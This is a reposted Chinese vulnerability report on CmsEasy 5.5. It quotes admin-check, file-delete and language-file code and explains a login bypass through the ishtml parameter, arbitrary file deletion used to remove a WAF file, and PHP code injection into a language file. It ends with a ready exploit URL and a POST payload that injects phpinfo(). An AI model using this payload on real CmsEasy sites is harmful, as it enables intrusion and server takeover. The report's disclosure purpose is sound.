来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] CmsEasy多出任意文件删除,可直接删除waf,Getshell so Easy !详细说明:CmsEasy在后台权限验证存在缺陷,导致登陆绕过,以及越权操作后台。1、在后台登陆验证时存在缺陷,导致随意登陆绕...
|
CmsEasy多出任意文件删除,可直接删除waf,Getshell so Easy ! CmsEasy在后台权限验证存在缺陷,导致登陆绕过,以及越权操作后台。
<?php
if (!defined('ROOT')) exit('Can\'t Access !');
abstract class admin extends act {
function __construct() {
if (ADMIN_DIR!=config::get('admin_dir')) {
config::modify(array('admin_dir'=>ADMIN_DIR));
front::flash('后台目录更改成功!');
}
front::$rewrite=false;
parent::__construct();
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
}
function check_admin() {
if (cookie::get('login_username')&&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
$roles = session::get('roles');
if ($roles && is_array($user)&&cookie::get('login_password')==front::cookie_encode($user['password'])) {
$this->view->user=$user;
front::$user=$user;
}else{
$user=null;
}
}
if (!isset($user)||!is_array($user)) {
front::redirect(url::create('admin/login'));
}
}
}
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
function chkpw($str){
if(!chkpower($str))
front::alert('无操作权限!');
}
function chkpower($str){
$roles = session::get('roles');
//var_dump($roles);//当前用户的权限
return $roles[$str];
}
后台搜索unlink,也就是在/lib/admin/目录下搜索:
function init() {
}
function delfile_action(){
if(front::$get['UD'] != 1){
echo '2';exit;
}
if(front::$get['dfile'] == ''){
echo '0';exit;
}
$f = str_ireplace(config::get('site_url'), '', front::$get['dfile']);
if(@unlink(ROOT . '/'.$f)){
echo 1;
}else{
echo 0;
}
exit;
}
$f = str_ireplace(config::get('site_url'), '', front::$get['dfile']);
if(@unlink(ROOT . '/'.$f)){
echo 1;
}else{
echo 0;
}
function init() {
}
function add_action() {
if (front::post('submit')) {
$path=ROOT.'/lang/'.config::get('lang_type').'/system.php';
$tipspath=ROOT.'/lang/cn/system.php';
$content=file_get_contents($path);
$tipscontent=file_get_contents($tipspath);
$replace="'".front::$post['key']."'=>'".front::$post['val']."',";
$tipsreplace="'".front::$post['key']."'=>'".front::$post['cnnote']."',";
$content=str_replace(');',$replace.');',$content);
file_put_contents($path,$content);
$pos=strpos($tipscontent,$tipsreplace);
if (config::get('lang_type') != 'cn'&&$pos === false) {
$tipscontent=str_replace(');',$tipsreplace.');',$tipscontent);
file_put_contents($tipspath,$tipscontent);
}
if ($_GET['site'] != 'default') {
$ftp=new nobftp();
$ftpconfig=config::get('website');
$ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
$ftperror=$ftp->returnerror();
if ($ftperror) {
exit($ftperror);
}
else {
$ftp->nobchdir($ftpconfig['ftppath']);
$ftp->nobput($ftpconfig['ftppath'].'/lang/'.config::get('lang_type').'/system.php',$path);
}
}
event::log('添加语言包','成功');
echo '<script type="text/javascript">alert("操作完成!");window.location.href="'.url('language/edit',true).'";</script>';
//exit;
//front::refresh(url('language/edit',true));
}
}
连接:http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=webscan360/360safe/360webscan.php&ishtml=1 post:submit=1&key=login&val=111111');phpinfo();//
修复方案:后台严格验证权限及登录验证! |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com